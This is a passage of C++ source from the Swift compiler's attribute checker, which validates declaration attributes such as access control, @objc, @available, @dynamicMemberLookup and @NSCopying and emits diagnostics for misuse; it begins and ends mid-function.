else if (cast<VarDecl>(storage)->isLet())
storageKind = SK_Constant;
else
storageKind = SK_Variable;
diagnoseAndRemoveAttr(attr, diag::access_control_setter_read_only,
attr->getAccess(), storageKind);
}
auto getterAccess = cast<ValueDecl>(D)->getFormalAccess();
if (attr->getAccess() > getterAccess) {
// This must stay in sync with diag::access_control_setter_more.
enum {
SK_Variable = 0,
SK_Property,
SK_Subscript
} storageKind;
if (isa<SubscriptDecl>(D))
storageKind = SK_Subscript;
else if (D->getDeclContext()->isTypeContext())
storageKind = SK_Property;
else
storageKind = SK_Variable;
diagnose(attr->getLocation(), diag::access_control_setter_more,
getterAccess, storageKind, attr->getAccess());
attr->setInvalid();
return;
} else if (attr->getAccess() == getterAccess) {
diagnose(attr->getLocation(),
diag::access_control_setter_redundant,
attr->getAccess(),
D->getDescriptiveKind(),
getterAccess)
.fixItRemove(attr->getRange());
return;
}
}
void AttributeChecker::visitSPIAccessControlAttr(SPIAccessControlAttr *attr) {
if (auto VD = dyn_cast<ValueDecl>(D)) {
// VD must be public or open to use an @_spi attribute.
auto declAccess = VD->getFormalAccess();
auto DC = VD->getDeclContext()->getAsDecl();
if (declAccess < AccessLevel::Public &&
!VD->getAttrs().hasAttribute<UsableFromInlineAttr>() &&
!(DC && DC->isSPI())) {
diagnoseAndRemoveAttr(attr,
diag::spi_attribute_on_non_public,
declAccess,
D->getDescriptiveKind());
}
// Forbid stored properties marked SPI in frozen types.
if (auto property = dyn_cast<VarDecl>(VD)) {
if (auto NTD = dyn_cast<NominalTypeDecl>(D->getDeclContext())) {
if (property->isLayoutExposedToClients() && !NTD->isSPI()) {
diagnoseAndRemoveAttr(attr,
diag::spi_attribute_on_frozen_stored_properties,
VD->getName());
}
}
}
}
if (auto ID = dyn_cast<ImportDecl>(D)) {
auto importedModule = ID->getModule();
if (importedModule) {
auto path = importedModule->getModuleFilename();
if (llvm::sys::path::extension(path) == ".swiftinterface" &&
!path.endswith(".private.swiftinterface")) {
// If the module was built from the public swiftinterface, it can't
// have any SPI.
diagnose(attr->getLocation(),
diag::spi_attribute_on_import_of_public_module,
importedModule->getName(), path);
}
}
}
}
static bool checkObjCDeclContext(Decl *D) {
DeclContext *DC = D->getDeclContext();
if (DC->getSelfClassDecl())
return true;
if (auto *PD = dyn_cast<ProtocolDecl>(DC))
if (PD->isObjC())
return true;
return false;
}
static void diagnoseObjCAttrWithoutFoundation(ObjCAttr *attr, Decl *decl) {
auto *SF = decl->getDeclContext()->getParentSourceFile();
assert(SF);
// We only care about explicitly written @objc attributes.
if (attr->isImplicit())
return;
auto &ctx = SF->getASTContext();
if (!ctx.LangOpts.EnableObjCInterop) {
ctx.Diags.diagnose(attr->getLocation(), diag::objc_interop_disabled)
.fixItRemove(attr->getRangeWithAt());
return;
}
// Don't diagnose in a SIL file.
if (SF->Kind == SourceFileKind::SIL)
return;
// Don't diagnose for -disable-objc-attr-requires-foundation-module.
if (!ctx.LangOpts.EnableObjCAttrRequiresFoundation)
return;
// If we have the Foundation module, @objc is okay.
auto *foundation = ctx.getLoadedModule(ctx.Id_Foundation);
if (foundation && ctx.getImportCache().isImportedBy(foundation, SF))
return;
ctx.Diags.diagnose(attr->getLocation(),
diag::attr_used_without_required_module, attr,
ctx.Id_Foundation)
.highlight(attr->getRangeWithAt());
}
void AttributeChecker::visitObjCAttr(ObjCAttr *attr) {
// Only certain decls can be ObjC.
Optional<Diag<>> error;
if (isa<ClassDecl>(D) ||
isa<ProtocolDecl>(D)) {
/* ok */
} else if (auto Ext = dyn_cast<ExtensionDecl>(D)) {
if (!Ext->getSelfClassDecl())
error = diag::objc_extension_not_class;
} else if (auto ED = dyn_cast<EnumDecl>(D)) {
if (ED->isGenericContext())
error = diag::objc_enum_generic;
} else if (auto EED = dyn_cast<EnumElementDecl>(D)) {
auto ED = EED->getParentEnum();
if (!ED->getAttrs().hasAttribute<ObjCAttr>())
error = diag::objc_enum_case_req_objc_enum;
else if (attr->hasName() && EED->getParentCase()->getElements().size() > 1)
error = diag::objc_enum_case_multi;
} else if (auto *func = dyn_cast<FuncDecl>(D)) {
if (!checkObjCDeclContext(D))
error = diag::invalid_objc_decl_context;
else if (auto accessor = dyn_cast<AccessorDecl>(func))
if (!accessor->isGetterOrSetter())
error = diag::objc_observing_accessor;
} else if (isa<ConstructorDecl>(D) ||
isa<DestructorDecl>(D) ||
isa<SubscriptDecl>(D) ||
isa<VarDecl>(D)) {
if (!checkObjCDeclContext(D))
error = diag::invalid_objc_decl_context;
/* ok */
} else {
error = diag::invalid_objc_decl;
}
if (error) {
diagnoseAndRemoveAttr(attr, *error);
return;
}
// If there is a name, check whether the kind of name is
// appropriate.
if (auto objcName = attr->getName()) {
if (isa<ClassDecl>(D) || isa<ProtocolDecl>(D) || isa<VarDecl>(D)
|| isa<EnumDecl>(D) || isa<EnumElementDecl>(D)
|| isa<ExtensionDecl>(D)) {
// Types and properties can only have nullary
// names. Complain and recover by chopping off everything
// after the first name.
if (objcName->getNumArgs() > 0) {
SourceLoc firstNameLoc = attr->getNameLocs().front();
SourceLoc afterFirstNameLoc =
Lexer::getLocForEndOfToken(Ctx.SourceMgr, firstNameLoc);
diagnose(firstNameLoc, diag::objc_name_req_nullary,
D->getDescriptiveKind())
.fixItRemoveChars(afterFirstNameLoc, attr->getRParenLoc());
const_cast<ObjCAttr *>(attr)->setName(
ObjCSelector(Ctx, 0, objcName->getSelectorPieces()[0]),
/*implicit=*/false);
}
} else if (isa<SubscriptDecl>(D) || isa<DestructorDecl>(D)) {
diagnose(attr->getLParenLoc(),
isa<SubscriptDecl>(D)
? diag::objc_name_subscript
: diag::objc_name_deinit);
const_cast<ObjCAttr *>(attr)->clearName();
} else {
auto func = cast<AbstractFunctionDecl>(D);
// Trigger lazy loading of any imported members with the same selector.
// This ensures we correctly diagnose selector conflicts.
if (auto *CD = D->getDeclContext()->getSelfClassDecl()) {
(void) CD->lookupDirect(*objcName, !func->isStatic());
}
// We have a function. Make sure that the number of parameters
// matches the "number of colons" in the name.
auto params = func->getParameters();
unsigned numParameters = params->size();
if (auto CD = dyn_cast<ConstructorDecl>(func))
if (CD->isObjCZeroParameterWithLongSelector())
numParameters = 0; // Something like "init(foo: ())"
// A throwing method has an error parameter.
if (func->hasThrows())
++numParameters;
unsigned numArgumentNames = objcName->getNumArgs();
if (numArgumentNames != numParameters) {
diagnose(attr->getNameLocs().front(),
diag::objc_name_func_mismatch,
isa<FuncDecl>(func),
numArgumentNames,
numArgumentNames != 1,
numParameters,
numParameters != 1,
func->hasThrows());
D->getAttrs().add(
ObjCAttr::createUnnamed(Ctx, attr->AtLoc, attr->Range.Start));
D->getAttrs().removeAttribute(attr);
}
}
} else if (isa<EnumElementDecl>(D)) {
// Enum elements require names.
diagnoseAndRemoveAttr(attr, diag::objc_enum_case_req_name);
}
// Diagnose an @objc attribute used without importing Foundation.
diagnoseObjCAttrWithoutFoundation(attr, D);
}
void AttributeChecker::visitNonObjCAttr(NonObjCAttr *attr) {
// Only extensions of classes; methods, properties, subscripts
// and constructors can be NonObjC.
// The last three are handled automatically by generic attribute
// validation -- for the first one, we have to check FuncDecls
// ourselves.
auto func = dyn_cast<FuncDecl>(D);
if (func &&
(isa<DestructorDecl>(func) ||
!checkObjCDeclContext(func) ||
(isa<AccessorDecl>(func) &&
!cast<AccessorDecl>(func)->isGetterOrSetter()))) {
diagnoseAndRemoveAttr(attr, diag::invalid_nonobjc_decl);
}
if (auto ext = dyn_cast<ExtensionDecl>(D)) {
if (!ext->getSelfClassDecl())
diagnoseAndRemoveAttr(attr, diag::invalid_nonobjc_extension);
}
}
void AttributeChecker::visitObjCMembersAttr(ObjCMembersAttr *attr) {
if (!isa<ClassDecl>(D))
diagnoseAndRemoveAttr(attr, diag::objcmembers_attribute_nonclass);
}
void AttributeChecker::visitOptionalAttr(OptionalAttr *attr) {
if (!isa<ProtocolDecl>(D->getDeclContext())) {
diagnoseAndRemoveAttr(attr, diag::optional_attribute_non_protocol);
} else if (!cast<ProtocolDecl>(D->getDeclContext())->isObjC()) {
diagnoseAndRemoveAttr(attr, diag::optional_attribute_non_objc_protocol);
} else if (isa<ConstructorDecl>(D)) {
diagnoseAndRemoveAttr(attr, diag::optional_attribute_initializer);
} else {
auto objcAttr = D->getAttrs().getAttribute<ObjCAttr>();
if (!objcAttr || objcAttr->isImplicit()) {
auto diag = diagnose(attr->getLocation(),
diag::optional_attribute_missing_explicit_objc);
if (auto VD = dyn_cast<ValueDecl>(D))
diag.fixItInsert(VD->getAttributeInsertionLoc(false), "@objc ");
}
}
}
void TypeChecker::checkDeclAttributes(Decl *D) {
AttributeChecker Checker(D);
// We need to check all OriginallyDefinedInAttr relative to each other, so
// collect them and check in batch later.
llvm::SmallVector<OriginallyDefinedInAttr*, 4> ODIAttrs;
for (auto attr : D->getAttrs()) {
if (!attr->isValid()) continue;
// If Attr.def says that the attribute cannot appear on this kind of
// declaration, diagnose it and disable it.
if (attr->canAppearOnDecl(D)) {
if (auto *ODI = dyn_cast<OriginallyDefinedInAttr>(attr)) {
ODIAttrs.push_back(ODI);
} else {
// Otherwise, check it.
Checker.visit(attr);
}
continue;
}
// Otherwise, this attribute cannot be applied to this declaration. If the
// attribute is only valid on one kind of declaration (which is pretty
// common) give a specific helpful error.
auto PossibleDeclKinds = attr->getOptions() & DeclAttribute::OnAnyDecl;
StringRef OnlyKind;
switch (PossibleDeclKinds) {
case DeclAttribute::OnAccessor: OnlyKind = "accessor"; break;
case DeclAttribute::OnClass: OnlyKind = "class"; break;
case DeclAttribute::OnConstructor: OnlyKind = "init"; break;
case DeclAttribute::OnDestructor: OnlyKind = "deinit"; break;
case DeclAttribute::OnEnum: OnlyKind = "enum"; break;
case DeclAttribute::OnEnumCase: OnlyKind = "case"; break;
case DeclAttribute::OnFunc | DeclAttribute::OnAccessor: // FIXME
case DeclAttribute::OnFunc: OnlyKind = "func"; break;
case DeclAttribute::OnImport: OnlyKind = "import"; break;
case DeclAttribute::OnModule: OnlyKind = "module"; break;
case DeclAttribute::OnParam: OnlyKind = "parameter"; break;
case DeclAttribute::OnProtocol: OnlyKind = "protocol"; break;
case DeclAttribute::OnStruct: OnlyKind = "struct"; break;
case DeclAttribute::OnSubscript: OnlyKind = "subscript"; break;
case DeclAttribute::OnTypeAlias: OnlyKind = "typealias"; break;
case DeclAttribute::OnVar: OnlyKind = "var"; break;
default: break;
}
if (!OnlyKind.empty())
Checker.diagnoseAndRemoveAttr(attr, diag::attr_only_one_decl_kind,
attr, OnlyKind);
else if (attr->isDeclModifier())
Checker.diagnoseAndRemoveAttr(attr, diag::invalid_decl_modifier, attr);
else
Checker.diagnoseAndRemoveAttr(attr, diag::invalid_decl_attribute, attr);
}
Checker.checkOriginalDefinedInAttrs(D, ODIAttrs);
}
/// Returns true if the given method is an valid implementation of a
/// @dynamicCallable attribute requirement. The method is given to be defined
/// as one of the following: `dynamicallyCall(withArguments:)` or
/// `dynamicallyCall(withKeywordArguments:)`.
bool swift::isValidDynamicCallableMethod(FuncDecl *decl, DeclContext *DC,
bool hasKeywordArguments) {
auto &ctx = decl->getASTContext();
// There are two cases to check.
// 1. `dynamicallyCall(withArguments:)`.
// In this case, the method is valid if the argument has type `A` where
// `A` conforms to `ExpressibleByArrayLiteral`.
// `A.ArrayLiteralElement` and the return type can be arbitrary.
// 2. `dynamicallyCall(withKeywordArguments:)`
// In this case, the method is valid if the argument has type `D` where
// `D` conforms to `ExpressibleByDictionaryLiteral` and `D.Key` conforms to
// `ExpressibleByStringLiteral`.
// `D.Value` and the return type can be arbitrary.
auto paramList = decl->getParameters();
if (paramList->size() != 1 || paramList->get(0)->isVariadic()) return false;
auto argType = paramList->get(0)->getType();
// If non-keyword (positional) arguments, check that argument type conforms to
// `ExpressibleByArrayLiteral`.
if (!hasKeywordArguments) {
auto arrayLitProto =
ctx.getProtocol(KnownProtocolKind::ExpressibleByArrayLiteral);
return (bool)TypeChecker::conformsToProtocol(argType, arrayLitProto, DC);
}
// If keyword arguments, check that argument type conforms to
// `ExpressibleByDictionaryLiteral` and that the `Key` associated type
// conforms to `ExpressibleByStringLiteral`.
auto stringLitProtocol =
ctx.getProtocol(KnownProtocolKind::ExpressibleByStringLiteral);
auto dictLitProto =
ctx.getProtocol(KnownProtocolKind::ExpressibleByDictionaryLiteral);
auto dictConf = TypeChecker::conformsToProtocol(argType, dictLitProto, DC);
if (dictConf.isInvalid())
return false;
auto keyType = dictConf.getTypeWitnessByName(argType, ctx.Id_Key);
return (bool)TypeChecker::conformsToProtocol(keyType, stringLitProtocol, DC);
}
/// Returns true if the given nominal type has a valid implementation of a
/// @dynamicCallable attribute requirement with the given argument name.
static bool hasValidDynamicCallableMethod(NominalTypeDecl *decl,
Identifier argumentName,
bool hasKeywordArgs) {
auto &ctx = decl->getASTContext();
auto declType = decl->getDeclaredType();
DeclNameRef methodName({ ctx, ctx.Id_dynamicallyCall, { argumentName } });
auto candidates = TypeChecker::lookupMember(decl, declType, methodName);
if (candidates.empty()) return false;
// Filter valid candidates.
candidates.filter([&](LookupResultEntry entry, bool isOuter) {
auto candidate = cast<FuncDecl>(entry.getValueDecl());
return isValidDynamicCallableMethod(candidate, decl, hasKeywordArgs);
});
// If there are no valid candidates, return false.
if (candidates.size() == 0) return false;
return true;
}
void AttributeChecker::
visitDynamicCallableAttr(DynamicCallableAttr *attr) {
// This attribute is only allowed on nominal types.
auto decl = cast<NominalTypeDecl>(D);
auto type = decl->getDeclaredType();
bool hasValidMethod = false;
hasValidMethod |=
hasValidDynamicCallableMethod(decl, Ctx.Id_withArguments,
/*hasKeywordArgs*/ false);
hasValidMethod |=
hasValidDynamicCallableMethod(decl, Ctx.Id_withKeywordArguments,
/*hasKeywordArgs*/ true);
if (!hasValidMethod) {
diagnose(attr->getLocation(), diag::invalid_dynamic_callable_type, type);
attr->setInvalid();
}
}
static bool hasSingleNonVariadicParam(SubscriptDecl *decl,
Identifier expectedLabel,
bool ignoreLabel = false) {
auto *indices = decl->getIndices();
if (decl->isInvalid() || indices->size() != 1)
return false;
auto *index = indices->get(0);
if (index->isVariadic() || !index->hasInterfaceType())
return false;
if (ignoreLabel) {
return true;
}
return index->getArgumentName() == expectedLabel;
}
/// Returns true if the given subscript method is an valid implementation of
/// the `subscript(dynamicMember:)` requirement for @dynamicMemberLookup.
/// The method is given to be defined as `subscript(dynamicMember:)`.
bool swift::isValidDynamicMemberLookupSubscript(SubscriptDecl *decl,
DeclContext *DC,
bool ignoreLabel) {
// It could be
// - `subscript(dynamicMember: {Writable}KeyPath<...>)`; or
// - `subscript(dynamicMember: String*)`
return isValidKeyPathDynamicMemberLookup(decl, ignoreLabel) ||
isValidStringDynamicMemberLookup(decl, DC, ignoreLabel);
}
bool swift::isValidStringDynamicMemberLookup(SubscriptDecl *decl,
DeclContext *DC,
bool ignoreLabel) {
auto &ctx = decl->getASTContext();
// There are two requirements:
// - The subscript method has exactly one, non-variadic parameter.
// - The parameter type conforms to `ExpressibleByStringLiteral`.
if (!hasSingleNonVariadicParam(decl, ctx.Id_dynamicMember,
ignoreLabel))
return false;
const auto *param = decl->getIndices()->get(0);
auto paramType = param->getType();
auto stringLitProto =
ctx.getProtocol(KnownProtocolKind::ExpressibleByStringLiteral);
// If this is `subscript(dynamicMember: String*)`
return (bool)TypeChecker::conformsToProtocol(paramType, stringLitProto, DC);
}
bool swift::isValidKeyPathDynamicMemberLookup(SubscriptDecl *decl,
bool ignoreLabel) {
auto &ctx = decl->getASTContext();
if (!hasSingleNonVariadicParam(decl, ctx.Id_dynamicMember,
ignoreLabel))
return false;
const auto *param = decl->getIndices()->get(0);
if (auto NTD = param->getInterfaceType()->getAnyNominal()) {
return NTD == ctx.getKeyPathDecl() ||
NTD == ctx.getWritableKeyPathDecl() ||
NTD == ctx.getReferenceWritableKeyPathDecl();
}
return false;
}
/// The @dynamicMemberLookup attribute is only allowed on types that have at
/// least one subscript member declared like this:
///
/// subscript<KeywordType: ExpressibleByStringLiteral, LookupValue>
/// (dynamicMember name: KeywordType) -> LookupValue { get }
///
/// ... but doesn't care about the mutating'ness of the getter/setter.
/// We just manually check the requirements here.
void AttributeChecker::
visitDynamicMemberLookupAttr(DynamicMemberLookupAttr *attr) {
// This attribute is only allowed on nominal types.
auto decl = cast<NominalTypeDecl>(D);
auto type = decl->getDeclaredType();
auto &ctx = decl->getASTContext();
auto emitInvalidTypeDiagnostic = [&](const SourceLoc loc) {
diagnose(loc, diag::invalid_dynamic_member_lookup_type, type);
attr->setInvalid();
};
// Look up `subscript(dynamicMember:)` candidates.
DeclNameRef subscriptName(
{ ctx, DeclBaseName::createSubscript(), { ctx.Id_dynamicMember } });
auto candidates = TypeChecker::lookupMember(decl, type, subscriptName);
if (!candidates.empty()) {
// If no candidates are valid, then reject one.
auto oneCandidate = candidates.front().getValueDecl();
candidates.filter([&](LookupResultEntry entry, bool isOuter) -> bool {
auto cand = cast<SubscriptDecl>(entry.getValueDecl());
return isValidDynamicMemberLookupSubscript(cand, decl);
});
if (candidates.empty()) {
emitInvalidTypeDiagnostic(oneCandidate->getLoc());
}
return;
}
// If we couldn't find any candidates, it's likely because:
//
// 1. We don't have a subscript with `dynamicMember` label.
// 2. We have a subscript with `dynamicMember` label, but no argument label.
//
// Let's do another lookup using just the base name.
auto newCandidates =
TypeChecker::lookupMember(decl, type, DeclNameRef::createSubscript());
// Validate the candidates while ignoring the label.
newCandidates.filter([&](const LookupResultEntry entry, bool isOuter) {
auto cand = cast<SubscriptDecl>(entry.getValueDecl());
return isValidDynamicMemberLookupSubscript(cand, decl,
/*ignoreLabel*/ true);
});
// If there were no potentially valid candidates, then throw an error.
if (newCandidates.empty()) {
emitInvalidTypeDiagnostic(attr->getLocation());
return;
}
// For each candidate, emit a diagnostic. If we don't have an explicit
// argument label, then emit a fix-it to suggest the user to add one.
for (auto cand : newCandidates) {
auto SD = cast<SubscriptDecl>(cand.getValueDecl());
auto index = SD->getIndices()->get(0);
diagnose(SD, diag::invalid_dynamic_member_lookup_type, type);
// If we have something like `subscript(foo:)` then we want to insert
// `dynamicMember` before `foo`.
if (index->getParameterNameLoc().isValid() &&
index->getArgumentNameLoc().isInvalid()) {
diagnose(SD, diag::invalid_dynamic_member_subscript)
.highlight(index->getSourceRange())
.fixItInsert(index->getParameterNameLoc(), "dynamicMember ");
}
}
attr->setInvalid();
return;
}
/// Get the innermost enclosing declaration for a declaration.
static Decl *getEnclosingDeclForDecl(Decl *D) {
// If the declaration is an accessor, treat its storage declaration
// as the enclosing declaration.
if (auto *accessor = dyn_cast<AccessorDecl>(D)) {
return accessor->getStorage();
}
return D->getDeclContext()->getInnermostDeclarationDeclContext();
}
void AttributeChecker::visitAvailableAttr(AvailableAttr *attr) {
if (Ctx.LangOpts.DisableAvailabilityChecking)
return;
if (auto *PD = dyn_cast<ProtocolDecl>(D->getDeclContext())) {
if (auto *VD = dyn_cast<ValueDecl>(D)) {
if (VD->isProtocolRequirement()) {
if (attr->isActivePlatform(Ctx) ||
attr->isLanguageVersionSpecific() ||
attr->isPackageDescriptionVersionSpecific()) {
auto versionAvailability = attr->getVersionAvailability(Ctx);
if (attr->isUnconditionallyUnavailable() ||
versionAvailability == AvailableVersionComparison::Obsoleted ||
versionAvailability == AvailableVersionComparison::Unavailable) {
if (!PD->isObjC()) {
diagnoseAndRemoveAttr(attr, diag::unavailable_method_non_objc_protocol);
return;
}
}
}
}
}
}
if (!attr->hasPlatform() || !attr->isActivePlatform(Ctx) ||
!attr->Introduced.hasValue()) {
return;
}
// Make sure there isn't a more specific attribute we should be using instead.
// findMostSpecificActivePlatform() is O(N), so only do this if we're checking
// an iOS attribute while building for macCatalyst.
if (attr->Platform == PlatformKind::iOS &&
isPlatformActive(PlatformKind::macCatalyst, Ctx.LangOpts)) {
if (attr != D->getAttrs().findMostSpecificActivePlatform(Ctx)) {
return;
}
}
SourceLoc attrLoc = attr->getLocation();
Optional<Diag<>> MaybeNotAllowed =
TypeChecker::diagnosticIfDeclCannotBePotentiallyUnavailable(D);
if (MaybeNotAllowed.hasValue()) {
diagnose(attrLoc, MaybeNotAllowed.getValue());
}
// Find the innermost enclosing declaration with an availability
// range annotation and ensure that this attribute's available version range
// is fully contained within that declaration's range. If there is no such
// enclosing declaration, then there is nothing to check.
Optional<AvailabilityContext> EnclosingAnnotatedRange;
Decl *EnclosingDecl = getEnclosingDeclForDecl(D);
while (EnclosingDecl) {
EnclosingAnnotatedRange =
AvailabilityInference::annotatedAvailableRange(EnclosingDecl, Ctx);
if (EnclosingAnnotatedRange.hasValue())
break;
EnclosingDecl = getEnclosingDeclForDecl(EnclosingDecl);
}
if (!EnclosingDecl)
return;
AvailabilityContext AttrRange{
VersionRange::allGTE(attr->Introduced.getValue())};
if (!AttrRange.isContainedIn(EnclosingAnnotatedRange.getValue())) {
diagnose(attr->getLocation(), diag::availability_decl_more_than_enclosing);
diagnose(EnclosingDecl->getLoc(),
diag::availability_decl_more_than_enclosing_enclosing_here);
}
}
void AttributeChecker::visitCDeclAttr(CDeclAttr *attr) {
// Only top-level func decls are currently supported.
if (D->getDeclContext()->isTypeContext())
diagnose(attr->getLocation(), diag::cdecl_not_at_top_level);
// The name must not be empty.
if (attr->Name.empty())
diagnose(attr->getLocation(), diag::cdecl_empty_name);
}
void AttributeChecker::visitUnsafeNoObjCTaggedPointerAttr(
UnsafeNoObjCTaggedPointerAttr *attr) {
// Only class protocols can have the attribute.
auto proto = dyn_cast<ProtocolDecl>(D);
if (!proto) {
diagnose(attr->getLocation(),
diag::no_objc_tagged_pointer_not_class_protocol);
attr->setInvalid();
}
if (!proto->requiresClass()
&& !proto->getAttrs().hasAttribute<ObjCAttr>()) {
diagnose(attr->getLocation(),
diag::no_objc_tagged_pointer_not_class_protocol);
attr->setInvalid();
}
}
void AttributeChecker::visitSwiftNativeObjCRuntimeBaseAttr(
SwiftNativeObjCRuntimeBaseAttr *attr) {
// Only root classes can have the attribute.
auto theClass = dyn_cast<ClassDecl>(D);
if (!theClass) {
diagnose(attr->getLocation(),
diag::swift_native_objc_runtime_base_not_on_root_class);
attr->setInvalid();
return;
}
if (theClass->hasSuperclass()) {
diagnose(attr->getLocation(),
diag::swift_native_objc_runtime_base_not_on_root_class);
attr->setInvalid();
return;
}
}
void AttributeChecker::visitFinalAttr(FinalAttr *attr) {
// Reject combining 'final' with 'open'.
if (auto accessAttr = D->getAttrs().getAttribute<AccessControlAttr>()) {
if (accessAttr->getAccess() == AccessLevel::Open) {
diagnose(attr->getLocation(), diag::open_decl_cannot_be_final,
D->getDescriptiveKind());
return;
}
}
if (isa<ClassDecl>(D))
return;
// 'final' only makes sense in the context of a class declaration.
// Reject it on global functions, protocols, structs, enums, etc.
if (!D->getDeclContext()->getSelfClassDecl()) {
diagnose(attr->getLocation(), diag::member_cannot_be_final)
.fixItRemove(attr->getRange());
// Remove the attribute so child declarations are not flagged as final
// and duplicate the error message.
D->getAttrs().removeAttribute(attr);
return;
}
// We currently only support final on var/let, func and subscript
// declarations.
if (!isa<VarDecl>(D) && !isa<FuncDecl>(D) && !isa<SubscriptDecl>(D)) {
diagnose(attr->getLocation(), diag::final_not_allowed_here)
.fixItRemove(attr->getRange());
return;
}
if (auto *accessor = dyn_cast<AccessorDecl>(D)) {
if (!attr->isImplicit()) {
unsigned Kind = 2;
if (auto *VD = dyn_cast<VarDecl>(accessor->getStorage()))
Kind = VD->isLet() ? 1 : 0;
diagnose(attr->getLocation(), diag::final_not_on_accessors, Kind)
.fixItRemove(attr->getRange());
return;
}
}
}
/// Return true if this is a builtin operator that cannot be defined in user
/// code.
static bool isBuiltinOperator(StringRef name, DeclAttribute *attr) {
return ((isa<PrefixAttr>(attr) && name == "&") || // lvalue to inout
(isa<PostfixAttr>(attr) && name == "!") || // optional unwrapping
// FIXME: Not actually a builtin operator, but should probably
// be allowed and accounted for in Sema?
(isa<PrefixAttr>(attr) && name == "?") ||
(isa<PostfixAttr>(attr) && name == "?") || // optional chaining
(isa<InfixAttr>(attr) && name == "?") || // ternary operator
(isa<PostfixAttr>(attr) && name == ">") || // generic argument list
(isa<PrefixAttr>(attr) && name == "<") || // generic argument list
name == "=" || // Assignment
// FIXME: Should probably be allowed in expression position?
name == "->");
}
void AttributeChecker::checkOperatorAttribute(DeclAttribute *attr) {
// Check out the operator attributes. They may be attached to an operator
// declaration or a function.
if (auto *OD = dyn_cast<OperatorDecl>(D)) {
// Reject attempts to define builtin operators.
if (isBuiltinOperator(OD->getName().str(), attr)) {
diagnose(D->getStartLoc(), diag::redefining_builtin_operator,
attr->getAttrName(), OD->getName().str());
attr->setInvalid();
return;
}
// Otherwise, the attribute is always ok on an operator.
return;
}
// Operators implementations may only be defined as functions.
auto *FD = dyn_cast<FuncDecl>(D);
if (!FD) {
diagnose(D->getLoc(), diag::operator_not_func);
attr->setInvalid();
return;
}
// Only functions with an operator identifier can be declared with as an
// operator.
if (!FD->isOperator()) {
diagnose(D->getStartLoc(), diag::attribute_requires_operator_identifier,
attr->getAttrName());
attr->setInvalid();
return;
}
// Reject attempts to define builtin operators.
if (isBuiltinOperator(FD->getBaseIdentifier().str(), attr)) {
diagnose(D->getStartLoc(), diag::redefining_builtin_operator,
attr->getAttrName(), FD->getBaseIdentifier().str());
attr->setInvalid();
return;
}
// Otherwise, must be unary.
if (!FD->isUnaryOperator()) {
diagnose(attr->getLocation(), diag::attribute_requires_single_argument,
attr->getAttrName());
attr->setInvalid();
return;
}
}
void AttributeChecker::visitNSCopyingAttr(NSCopyingAttr *attr) {
// The @NSCopying attribute is only allowed on stored properties.
auto *VD = cast<VarDecl>(D);
// It may only be used on class members.
auto classDecl = D->getDeclContext()->getSelfClassDecl();
if (!classDecl) {
diagnose(attr->getLocation(), diag::nscopying_only_on_class_properties);
attr->setInvalid();
return;
}
if (!VD->isSettable(VD->getDeclContext())) {
diagnose(attr->getLocation(), diag::nscopying_only_mutable);
attr->setInvalid();
return;
}
if (!VD->hasStorage()) {
diagnose(attr->getLocation(), diag::nscopying_only_stored_property);
attr->setInvalid();
return;
}
if (VD->hasInterfaceType()) {
if (TypeChecker::checkConformanceToNSCopying(VD).isInvalid()) {
attr->setInvalid();
return;
}
}
assert(VD->getOverriddenDecl() == nullptr &&
"Can't have value with storage that is an override");
// Check the type. It must be an [unchecked]optional, weak, a normal
// class, AnyObject, or classbound protocol.
// It must conform to the NSCopying protocol.
}
void AttributeChecker::checkApplicationMainAttribute(DeclAttribute *attr,
Identifier Id_ApplicationDelegate,
Identifier Id_Kit,
Identifier Id_ApplicationMain) {
// %select indexes for ApplicationMain diagnostics.
enum : unsigned {
UIApplicationMainClass,
NSApplicationMainClass,
};
unsigned applicationMainKind;
if (isa<UIApplicationMainAttr>(attr))
applicationMainKind = UIApplicationMainClass;
else if (isa<NSApplicationMainAttr>(attr))
applicationMainKind = NSApplicationMainClass;
else
llvm_unreachable("not an ApplicationMain attr");
auto *CD = dyn_cast<ClassDecl>(D);
// The applicant not being a class should have been diagnosed by the early
// checker.
if (!CD) return;
// The class cannot be generic.
if (CD->isGenericContext()) {
diagnose(attr->getLocation(),
diag::attr_generic_ApplicationMain_not_supported,
applicationMainKind);
attr->setInvalid();
return;
}
// @XXApplicationMain classes must conform to the XXApplicationDelegate
// protocol.
auto *SF = cast<SourceFile>(CD->getModuleScopeContext());
auto &C = SF->getASTContext();
auto KitModule = C.getLoadedModule(Id_Kit);
ProtocolDecl *ApplicationDelegateProto = nullptr;
if (KitModule) {
SmallVector<ValueDecl *, 1> decls;
namelookup::lookupInModule(KitModule, Id_ApplicationDelegate,
decls, NLKind::QualifiedLookup,
namelookup::ResolutionKind::TypesOnly,
SF, NL_QualifiedDefault);
if (decls.size() == 1)
ApplicationDelegateProto = dyn_cast<ProtocolDecl>(decls[0]);
}
if (!ApplicationDelegateProto ||
!TypeChecker::conformsToProtocol(CD->getDeclaredType(),
ApplicationDelegateProto, CD)) {
diagnose(attr->getLocation(),
diag::attr_ApplicationMain_not_ApplicationDelegate,
applicationMainKind);
attr->setInvalid();
}
if (attr->isInvalid())
return;
// Register the class as the main class in the module. If there are multiples
// they will be diagnosed.
if (SF->registerMainDecl(CD, attr->getLocation()))
attr->setInvalid();
}
void AttributeChecker::visitNSApplicationMainAttr(NSApplicationMainAttr *attr) {
auto &C = D->getASTContext();
checkApplicationMainAttribute(attr,
C.getIdentifier("NSApplicationDelegate"),
C.getIdentifier("AppKit"),
C.getIdentifier("NSApplicationMain"));
}
void AttributeChecker::visitUIApplicationMainAttr(UIApplicationMainAttr *attr) {
auto &C = D->getASTContext();
checkApplicationMainAttribute(attr,
C.getIdentifier("UIApplicationDelegate"),
C.getIdentifier("UIKit"),
C.getIdentifier("UIApplicationMain"));
}
namespace {
struct MainTypeAttrParams {
FuncDecl *mainFunction;
MainTypeAttr *attr;
};
}
static std::pair<BraceStmt *, bool>
synthesizeMainBody(AbstractFunctionDecl *fn, void *arg) {
ASTContext &context = fn->getASTContext();
MainTypeAttrParams *params = (MainTypeAttrParams *) arg;
FuncDecl *mainFunction = params->mainFunction;
auto location = params->attr->getLocation();
NominalTypeDecl *nominal = fn->getDeclContext()->getSelfNominalTypeDecl();
auto *typeExpr = TypeExpr::createImplicit(nominal->getDeclaredType(), context);
SubstitutionMap substitutionMap;
if (auto *environment = mainFunction->getGenericEnvironment()) {
substitutionMap = SubstitutionMap::get(
environment->getGenericSignature(),
[&](SubstitutableType *type) { return nominal->getDeclaredType(); },
LookUpConformanceInModule(nominal->getModuleContext()));
} else {
substitutionMap = SubstitutionMap();
}
auto funcDeclRef = ConcreteDeclRef(mainFunction, substitutionMap);
auto *memberRefExpr = new (context) MemberRefExpr(
